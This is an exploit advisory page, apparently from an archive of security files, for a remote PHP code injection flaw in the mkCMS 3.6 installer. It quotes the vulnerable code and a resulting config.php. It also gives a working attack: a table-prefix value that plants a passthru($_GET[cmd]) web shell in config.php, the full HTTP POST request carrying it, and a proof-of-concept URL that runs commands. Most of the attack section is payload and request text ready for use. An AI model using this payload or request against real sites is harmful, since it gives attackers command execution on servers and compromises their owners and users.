exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mkCMS 3.6 PHP Code Injection

mkCMS 3.6 PHP Code Injection
Posted Jun 11, 2013
Authored by CWH Underground

mkCMS version 3.6 suffers from a remote PHP code injection vulnerability.

tags | exploit, remote, php
SHA-256 | b5a49fec1931ad3ae774efe120b62e22cf911136f7154322a7d3ff1e572659f2

mkCMS 3.6 PHP Code Injection

Change Mirror Download
# Exploit Title   : mkCMS PHP Code Injection
# Date : 11 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://mkcms.milankragujevic.com/
# Software Link : http://jaist.dl.sourceforge.net/project/milan-cms/Releases/mkCMS-v3.6.zip
# Version : 3.6
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/admin/install/verify_3.php (LINE: 5-81)

-----------------------------------------------------------------------------
LINE 5-9:
$db_name = @$_SESSION['db_name'];
$db_user = @$_SESSION['db_user'];
$db_pass = @$_SESSION['db_pass'];
$db_host = @$_SESSION['db_host'];
$tbl_prefix = @$_SESSION['tbl_prefix'];
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
LINE 34-63:
$config = "<?php
.....
-----------------------------------------------------------------------------

-----------------------------------------------------------------------------
LINE 81:
file_put_contents('../../config.php', $config);
-----------------------------------------------------------------------------

#####################################################
DESCRIPTION
#####################################################

An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

The installation directory is still needed by mkCMS so it can't be deleted. Attacker could access /admin/install.
During the installation process attacker specifies his external MySQL server and enters the following table prefix: ' , "c" =>passthru($_GET[cmd]),//

/config.php
-----------------------------------------------------------------------------
<?php

/******* Welcome to mkCMS *******/

session_start();

define('ROOT_DIR', str_replace('\\', '/', realpath(dirname(__FILE__))) .'/');
define('ADMIN_DIR', ROOT_DIR .'admin/');
define('LIB_DIR', ADMIN_DIR .'includes/');
define('PLUGINS_DIR', ROOT_DIR .'plugins/');
define('THEMES_DIR', ROOT_DIR .'themes/');

require_once(LIB_DIR . 'functions.php');
$mysql = array(
'user' => 'root',
'pass' => 'usbw',
'db' => 'mkcms',
'host' => 'localhost',
'prefix' => '' , "c" =>passthru($_GET[cmd]),//'
);
$root = '/mkCMS/';
$path = 'http://localhost/mkCMS/';
$sitename = get_set('sitename');
$sitedesc = get_set('sitedesc');
$language = get_set('lang');
$theme = get_set('theme');

$THEME_DIR = THEMES_DIR . $theme . '/';
$theme_path = $path . 'themes/'.$theme.'/';
?>
-----------------------------------------------------------------------------

#####################################################
EXPLOIT
#####################################################


POST /mkCMS/admin/install/verify_2.php HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/mkCMS/admin/install/step2.php
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=on; has_js=1; SESS3e2018b2c38b123a9f41b7251051544c=8RPdDYThmQJ1_psqG3gxv7o2ExJKKJVpS59B0vN2klg
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 145
db_name=mkcms&db_user=root&db_pass=toor&db_host=localhost&tbl_prefix=%27+%2C+%22c%22+%3D%3Epassthru%28%24_GET%5Bcmd%5D%29%2C%2F%2F&submit=Proceed


POC:
http://target/mkCMS/index.php?cmd=dir


################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close